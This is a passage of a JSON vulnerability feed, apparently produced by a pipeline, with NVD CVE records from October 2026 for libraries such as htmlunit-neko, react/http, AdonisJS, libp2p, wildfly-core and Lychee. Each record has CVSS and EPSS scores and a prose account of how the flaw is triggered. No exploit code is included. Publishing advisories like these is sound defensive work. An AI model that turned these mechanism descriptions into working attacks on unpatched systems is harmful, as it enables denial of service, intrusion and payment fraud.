CVE-2026-108334","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-108334","type":"primary","publishedAt":"2026-10-15T19:17:20.187Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-108334&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-108334, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104828","cveId":"CVE-2026-104828","aliases":[],"kind":"vulnerability","title":"HtmlUnit Neko is an HtmlUnit adaptation of NekoHTML.","summary":"HtmlUnit Neko is an HtmlUnit adaptation of NekoHTML. Prior to 5.4.0, HTMLWriterFilter writes decoded TEXTAREA and TITLE character content without entity encoding because both elements are treated as special content. During a parse-and-serialize round trip, entity references inside these escapable raw-text elements are decoded by the parser and then emitted as raw markup by printCharacters(), changing the document's semantics. Applications that use htmlunit-neko in an HTML sanitizer, content filter, or other parse-transform-serialize pipeline can therefore turn attacker-controlled encoded text into executable markup when the output is rendered by a browser. This issue is fixed in version 5.4.0.","detail":"HtmlUnit Neko is an HtmlUnit adaptation of NekoHTML. Prior to 5.4.0, HTMLWriterFilter writes decoded TEXTAREA and TITLE character content without entity encoding because both elements are treated as special content. During a parse-and-serialize round trip, entity references inside these escapable raw-text elements are decoded by the parser and then emitted as raw markup by printCharacters(), changing the document's semantics. Applications that use htmlunit-neko in an HTML sanitizer, content filter, or other parse-transform-serialize pipeline can therefore turn attacker-controlled encoded text into executable markup when the output is rendered by a browser. This issue is fixed in version 5.4.0.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:15.083Z","updatedAt":"2026-10-21T01:17:19.770Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.2,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104828","asOf":"2026-10-21T01:17:19.770Z"},"epss":{"probability":0.00324,"percentile":0.2521,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104828&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104828","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104828","type":"primary","publishedAt":"2026-10-15T19:17:15.083Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104828&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104828, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104827","cveId":"CVE-2026-104827","aliases":[],"kind":"vulnerability","title":"react/http is an event-driven, streaming HTTP client and server implementation for ReactPHP.","summary":"react/http is an event-driven, streaming HTTP client and server implementation for ReactPHP. From 1.0.0 until 1.11.1, React\\Http\\Browser uses ClientRequestStream::handleData() to append response-header bytes to an internal buffer without enforcing a size limit. A remote server can send a valid status line and partial header, withhold the \\r\\n\\r\\n or \\n\\n header terminator, and continue streaming data so the buffer grows for the life of the connection. Applications that fetch attacker-controlled or attacker-influenced URLs, including URLs reached through redirects, can exhaust PHP memory_limit and crash the event-loop or worker process. Confidentiality and integrity are unaffected. This issue is fixed in version 1.11.1.","detail":"react/http is an event-driven, streaming HTTP client and server implementation for ReactPHP. From 1.0.0 until 1.11.1, React\\Http\\Browser uses ClientRequestStream::handleData() to append response-header bytes to an internal buffer without enforcing a size limit. A remote server can send a valid status line and partial header, withhold the \\r\\n\\r\\n or \\n\\n header terminator, and continue streaming data so the buffer grows for the life of the connection. Applications that fetch attacker-controlled or attacker-influenced URLs, including URLs reached through redirects, can exhaust PHP memory_limit and crash the event-loop or worker process. Confidentiality and integrity are unaffected. This issue is fixed in version 1.11.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:14.933Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104827","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00426,"percentile":0.36599,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104827&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104827","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104827","type":"primary","publishedAt":"2026-10-15T19:17:14.933Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104827&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104827, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-104150","cveId":"CVE-2026-104150","aliases":[],"kind":"vulnerability","title":"AdonisJS HTTP Server is a package for handling HTTP requests in the AdonisJS framework.","summary":"AdonisJS HTTP Server is a package for handling HTTP requests in the AdonisJS framework. Prior to 8.2.2 and 9.1.1, the regular expression returned by router.matchers.slug() contains adjacent greedy repetitions with overlapping character classes. When an application applies this matcher to an attacker-controlled route parameter, a long slug ending in a character rejected by the final assertion causes quadratic backtracking and excessive CPU use. Route matching occurs before route and group middleware, so authentication or rate-limiting middleware attached to the route may not prevent an unauthenticated request from blocking the Node.js event loop and stopping the worker from serving unrelated requests or health checks. This issue is fixed in versions 8.2.2 and 9.1.1.","detail":"AdonisJS HTTP Server is a package for handling HTTP requests in the AdonisJS framework. Prior to 8.2.2 and 9.1.1, the regular expression returned by router.matchers.slug() contains adjacent greedy repetitions with overlapping character classes. When an application applies this matcher to an attacker-controlled route parameter, a long slug ending in a character rejected by the final assertion causes quadratic backtracking and excessive CPU use. Route matching occurs before route and group middleware, so authentication or rate-limiting middleware attached to the route may not prevent an unauthenticated request from blocking the Node.js event loop and stopping the worker from serving unrelated requests or health checks. This issue is fixed in versions 8.2.2 and 9.1.1.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T19:17:14.603Z","updatedAt":"2026-10-16T16:00:33.533Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.7,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-104150","asOf":"2026-10-16T16:00:33.533Z"},"epss":{"probability":0.00367,"percentile":0.30274,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-104150&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-104150","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-104150","type":"primary","publishedAt":"2026-10-15T19:17:14.603Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-104150&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-104150, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55246","cveId":"CVE-2026-55246","aliases":[],"kind":"vulnerability","title":"bincookie is a header-only binarycookies parser.","summary":"bincookie is a header-only binarycookies parser. Prior to 0.1.9, bincookie_init_file() in bincookie.h allocates a buffer using the actual .binarycookies file length but trusts the file-controlled num_pages field as the loop bound for byte-swapping page_sizes entries. A crafted file can make the loop read and write beyond the heap allocation, and related unvalidated page sizes and cookie_offsets can drive additional out-of-bounds accesses in page and cookie iteration. Applications that parse an attacker-supplied binarycookies file may crash or suffer heap corruption that can potentially enable code execution. This issue is fixed in version 0.1.9.","detail":"bincookie is a header-only binarycookies parser. Prior to 0.1.9, bincookie_init_file() in bincookie.h allocates a buffer using the actual .binarycookies file length but trusts the file-controlled num_pages field as the loop bound for byte-swapping page_sizes entries. A crafted file can make the loop read and write beyond the heap allocation, and related unvalidated page sizes and cookie_offsets can drive additional out-of-bounds accesses in page and cookie iteration. Applications that parse an attacker-supplied binarycookies file may crash or suffer heap corruption that can potentially enable code execution. This issue is fixed in version 0.1.9.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T18:17:27.317Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.8,"version":"3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55246","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00222,"percentile":0.12628,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55246&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55246","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55246","type":"primary","publishedAt":"2026-10-15T18:17:27.317Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55246&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55246, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-55103","cveId":"CVE-2026-55103","aliases":[],"kind":"vulnerability","title":"Discourse ActivityPub adds ActivityPub support to Discourse.","summary":"Discourse ActivityPub adds ActivityPub support to Discourse. Prior to commit 1c8518b0f2abdf31cbea3e0b242f74d8994a9ba5, inbound ActivityPub processing does not sufficiently verify that the actor authenticated by the signed request matches the Activity actor and owns the referenced federated post. A remote attacker can exploit these missing identity and ownership checks to edit, delete, or reply to federated posts without the required permissions. This vulnerability is fixed with commit 1c8518b0f2abdf31cbea3e0b242f74d8994a9ba5.","detail":"Discourse ActivityPub adds ActivityPub support to Discourse. Prior to commit 1c8518b0f2abdf31cbea3e0b242f74d8994a9ba5, inbound ActivityPub processing does not sufficiently verify that the actor authenticated by the signed request matches the Activity actor and owns the referenced federated post. A remote attacker can exploit these missing identity and ownership checks to edit, delete, or reply to federated posts without the required permissions. This vulnerability is fixed with commit 1c8518b0f2abdf31cbea3e0b242f74d8994a9ba5.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T18:17:27.163Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.6,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-55103","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.002,"percentile":0.09723,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-55103&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-55103","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-55103","type":"primary","publishedAt":"2026-10-15T18:17:27.163Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-55103&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-55103, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-111105","cveId":"CVE-2026-111105","aliases":[],"kind":"vulnerability","title":"Telegram rlottie Numeric Truncation Remote Code Execution Vulnerability.","summary":"Telegram rlottie Numeric Truncation Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Telegram. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the rlottie library. The issue results from the lack of proper validation of user-supplied data, which can result in a write before the start of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-30207.","detail":"Telegram rlottie Numeric Truncation Remote Code Execution Vulnerability. This vulnerability allows remote attackers to execute arbitrary code on affected installations of Telegram. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file.\n\nThe specific flaw exists within the rlottie library. The issue results from the lack of proper validation of user-supplied data, which can result in a write before the start of an allocated buffer. An attacker can leverage this vulnerability to execute code in the context of the current process. Was ZDI-CAN-30207.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T18:17:26.670Z","updatedAt":"2026-10-16T18:14:51.460Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7,"version":"3.0","vector":"CVSS:3.0/AV:L/AC:H/PR:N/UI:R/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-111105","asOf":"2026-10-16T18:14:51.460Z"},"epss":{"probability":0.00142,"percentile":0.03486,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-111105&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-111105","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-111105","type":"primary","publishedAt":"2026-10-15T18:17:26.670Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-111105&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-111105, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-103936","cveId":"CVE-2026-103936","aliases":[],"kind":"vulnerability","title":"libp2p is a JavaScript implementation of the libp2p networking stack.","summary":"libp2p is a JavaScript implementation of the libp2p networking stack. Prior to 6.0.28, the @libp2p/webrtc webRTCDirect() Node.js listener processes unauthenticated STUN Binding Requests before PeerId authentication, Noise, muxing, protocol negotiation, connection creation, or connection-manager admission. The listener in packages/transport-webrtc/src/private-to-public/utils/stun-listener.ts forwards the packet-controlled request.ufrag into DirectRTCPeerConnection.setLocalDescription, where the value is reused as an ICE password without validating its required length and character set. A short credential causes node-datachannel or libdatachannel to raise an uncaught native invalid_argument and abort the process with SIGABRT, allowing a single remote UDP packet to deny service. The confirmed impact is process termination only, with no demonstrated memory corruption, code execution, browser impact, confidentiality impact, integrity impact, or connection-limit bypass. This issue is fixed in version 6.0.28.","detail":"libp2p is a JavaScript implementation of the libp2p networking stack. Prior to 6.0.28, the @libp2p/webrtc webRTCDirect() Node.js listener processes unauthenticated STUN Binding Requests before PeerId authentication, Noise, muxing, protocol negotiation, connection creation, or connection-manager admission. The listener in packages/transport-webrtc/src/private-to-public/utils/stun-listener.ts forwards the packet-controlled request.ufrag into DirectRTCPeerConnection.setLocalDescription, where the value is reused as an ICE password without validating its required length and character set. A short credential causes node-datachannel or libdatachannel to raise an uncaught native invalid_argument and abort the process with SIGABRT, allowing a single remote UDP packet to deny service. The confirmed impact is process termination only, with no demonstrated memory corruption, code execution, browser impact, confidentiality impact, integrity impact, or connection-limit bypass. This issue is fixed in version 6.0.28.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T18:17:22.433Z","updatedAt":"2026-10-16T20:04:29.760Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":7.5,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-103936","asOf":"2026-10-16T20:04:29.760Z"},"epss":{"probability":0.00522,"percentile":0.44,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-103936&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-103936","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-103936","type":"primary","publishedAt":"2026-10-15T18:17:22.433Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-103936&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-103936, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-85634","cveId":"CVE-2026-85634","aliases":[],"kind":"vulnerability","title":"A flaw was found in the ContentRepositoryImpl.copyExplodedContent function of the wildfly-core library, which is used by WildFly and JBoss EAP to manage server deployments. The...","summary":"A flaw was found in the ContentRepositoryImpl.copyExplodedContent function of the wildfly-core library, which is used by WildFly and JBoss EAP to manage server deployments. The issue occurs when the library processes an unsanitized deployment name. Due to a missing containment check, an attacker with the Deployer RBAC role can use path traversal sequences to access files outside the restricted deployment directory. This can allow the attacker to delete arbitrary directories or create files with arbitrary content, leading to a full privilege escalation to the management SuperUser role.","detail":"A flaw was found in the ContentRepositoryImpl.copyExplodedContent function of the wildfly-core library, which is used by WildFly and JBoss EAP to manage server deployments. The issue occurs when the library processes an unsanitized deployment name. Due to a missing containment check, an attacker with the Deployer RBAC role can use path traversal sequences to access files outside the restricted deployment directory. This can allow the attacker to delete arbitrary directories or create files with arbitrary content, leading to a full privilege escalation to the management SuperUser role.\n\nNVD status: Awaiting Analysis. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:29.250Z","updatedAt":"2026-10-15T20:38:04.303Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.8,"version":"3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-85634","asOf":"2026-10-15T20:38:04.303Z"},"epss":{"probability":0.00414,"percentile":0.3536,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-85634&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-85634","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-85634","type":"primary","publishedAt":"2026-10-15T17:17:29.250Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-85634&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-85634, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77470","cveId":"CVE-2026-77470","aliases":[],"kind":"vulnerability","title":"Lychee is a free, open-source photo-management tool.","summary":"Lychee is a free, open-source photo-management tool. Prior to 7.7.1, the Supporter or Pro webshop POST /api/v2/Shop/Checkout/Process flow accepts an unrestricted additional_data array and CheckoutService::preparePurchaseParameters() merges it after server-computed purchase parameters. Because later string keys overwrite earlier keys, an unauthenticated buyer can replace amount, currency, returnUrl, cancelUrl, or transactionId before CheckoutService::processPayment() passes the parameters to a non-PayPal Omnipay gateway. An attacker can therefore make a gateway accept a successful payment for an attacker-selected amount and obtain auto-fulfilled goods while underpaying the merchant. The issue requires an enabled webshop, a purchasable item, and an affected Omnipay gateway. This issue is fixed in version 7.7.1.","detail":"Lychee is a free, open-source photo-management tool. Prior to 7.7.1, the Supporter or Pro webshop POST /api/v2/Shop/Checkout/Process flow accepts an unrestricted additional_data array and CheckoutService::preparePurchaseParameters() merges it after server-computed purchase parameters. Because later string keys overwrite earlier keys, an unauthenticated buyer can replace amount, currency, returnUrl, cancelUrl, or transactionId before CheckoutService::processPayment() passes the parameters to a non-PayPal Omnipay gateway. An attacker can therefore make a gateway accept a successful payment for an attacker-selected amount and obtain auto-fulfilled goods while underpaying the merchant. The issue requires an enabled webshop, a purchasable item, and an affected Omnipay gateway. This issue is fixed in version 7.7.1.\n\nNVD status: Deferred. Publication in the NVD is not evidence of exploitation.","action":"Check the vendor advisory for affected versions and fixes.","publishedAt":"2026-10-15T17:17:27.997Z","updatedAt":"2026-10-15T21:08:49.703Z","regions":["Global"],"vendor":null,"product":null,"stacks":[],"knownExploited":null,"zeroDay":null,"kev":null,"metrics":{"cvss":{"score":8.3,"version":"4.0","vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:H/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-77470","asOf":"2026-10-15T21:08:49.703Z"},"epss":{"probability":0.00451,"percentile":0.38945,"date":"2026-10-25","sourceUrl":"https://api.first.org/data/v1/epss?cve=CVE-2026-77470&date=2026-10-25"}},"ai":{"role":"unknown","evidence":"not-assessed","explanation":"The source does not establish attacker AI use.","sourceUrl":null},"sources":[{"name":"NVD CVE-2026-77470","url":"https://nvd.nist.gov/vuln/detail/CVE-2026-77470","type":"primary","publishedAt":"2026-10-15T17:17:27.997Z","checkedAt":"2026-10-26T13:35:55.142Z","supports":"NVD record: description, CVSS (the CNA score is preferred), affected products, and publication date. Not evidence of exploitation."},{"name":"NVD CVE API 2.0","url":"https://services.nvd.nist.gov/rest/json/cves/2.0?pubStartDate=2026-10-12T13:35:55.142Z&pubEndDate=2026-10-26T13:35:55.142Z&resultsPerPage=500&startIndex=3500","type":"primary","publishedAt":null,"checkedAt":"2026-10-26T13:35:55.142Z","supports":"The NVD API page that supplied this CVE record."},{"name":"FIRST measured EPSS score","url":"https://api.first.org/data/v1/epss?cve=CVE-2026-77470&date=2026-10-25","type":"primary","publishedAt":"2026-10-25","checkedAt":"2026-10-26T13:40:05.166Z","supports":"Measured EPSS probability and percentile for CVE-2026-77470, scored 2026-10-25. This is a model estimate, not proof of exposure."}],"provenance":{"origin":"pipeline","retrievedAt":"2026-10-26T13:40:05.166Z","reviewedAt":null},"reviewed":false},{"id":"CVE-2026-77467","cveId":"CVE-2026-77467","aliases":[],"kind":"vulnerability","title":"Lychee is a free, open-source photo-management tool.","summary":"Lychee is a free, open-source photo-management tool. Prior to 7.7.0, Lychee enables ImageMagick PDF support with Ghostscript but does not apply an effective pre-render limit to PDF page dimensions in ImagickHandler::loadPdf(). An authenticated user who can upload a small PDF with an oversized /MediaBox 